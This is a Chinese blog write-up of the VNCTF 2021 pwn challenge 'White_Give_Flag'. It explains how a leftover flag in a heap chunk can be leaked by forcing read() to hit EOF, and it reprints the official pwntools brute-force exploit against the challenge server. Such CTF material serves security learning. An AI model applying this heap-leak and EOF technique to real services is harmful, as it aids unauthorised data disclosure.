[VNCTF 2021]White_Give_Flag

公开群里有官方wp,简单记录一下自己的复现过程,跟着wp做了好久,只有这题理清楚了,这就是大二的师傅出的题嘛,tql

[VNCTF 2021]White_Give_Flag

  1. 例行检查,64位程序,保护全开
    在这里插入图片描述

  2. 本地试运行一下,看着像堆
    在这里插入图片描述

  3. 64位ida载入
    main()
    在这里插入图片描述
    sub_E5A
    在这里插入图片描述
    qword_2010120数组中存放着5个字符串,对应菜单的5个选项。而且这个函数执行完后会在chunk中遗留flag的值
    sub_F07
    在这里插入图片描述
    读取菜单选项的函数返回的是 read() 的返回值⽽不是 atoi() 的返回值,根据返回值打印
    qword_202120 中的字符串

  4. 通过add函数,可以看到堆的指针存放在qword_202100中,qword_202120 上⽅是堆指针,我们通过puts(qword_202120[-1])来输出chunk[3]里的内容
    在这里插入图片描述

  5. malloc 随机 size 写 flag 时,size 的范围是 [0x300, 0x500]。add 到 chunk[3] 时申请⼀个在范围内的size,如果恰好是带有 flag 的 chunk size,就可以把这个 chunk 取出来,然后 edit 填充 0x10 个字
    符, puts(qword_202120[-1]) 就能打印出 flag。
    size 范围不⼤,可以爆破。
    puts(qword_202120[-1]) 需要使 read() 返回 0,也就是读到 EOF。
    可以 ctrl+d,虽然需要爆破,但是纯⼿动操作理论上可⾏(不建议使⽤)。
    pwntools 可以使⽤ shutdown_raw(‘send’) 关闭管道的 send ⽅向,使远程 read() 读到 EOF,返回 0。

直接贴一下官方爆破的exp

from pwn import *
def menu(choice):
 r.recvuntil('choice:')
 r.sendline(choice)
def add(size):
 menu('')
 r.recvuntil('size:\n')
 r.sendline(str(size))
def edit(index,data):
 menu('111')
 r.recvuntil('index:\n')
 r.sendline(str(index))
 r.recvuntil('Content:\n')
 r.send(data)
def delete(index):
 menu('11')
 r.recvuntil('index:\n')
 r.sendline(str(index))

def show(index):
 menu('1')
while True:
 r = remote("node4.buuoj.cn",39123)
 add(0x10)
 add(0x10)
 add(0x10)
 add(0x310)
 edit(3,'x'*0x10)
 r.recvuntil('choice:')
 r.shutdown_raw('send')
 flag = r.recvline()
 log.info(flag)
 if 'vnctf{' in flag or '}' in flag:
 	exit(0)
 r.close()
 sleep(1)

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/mcmuyanga/article/details/114896247
今日推荐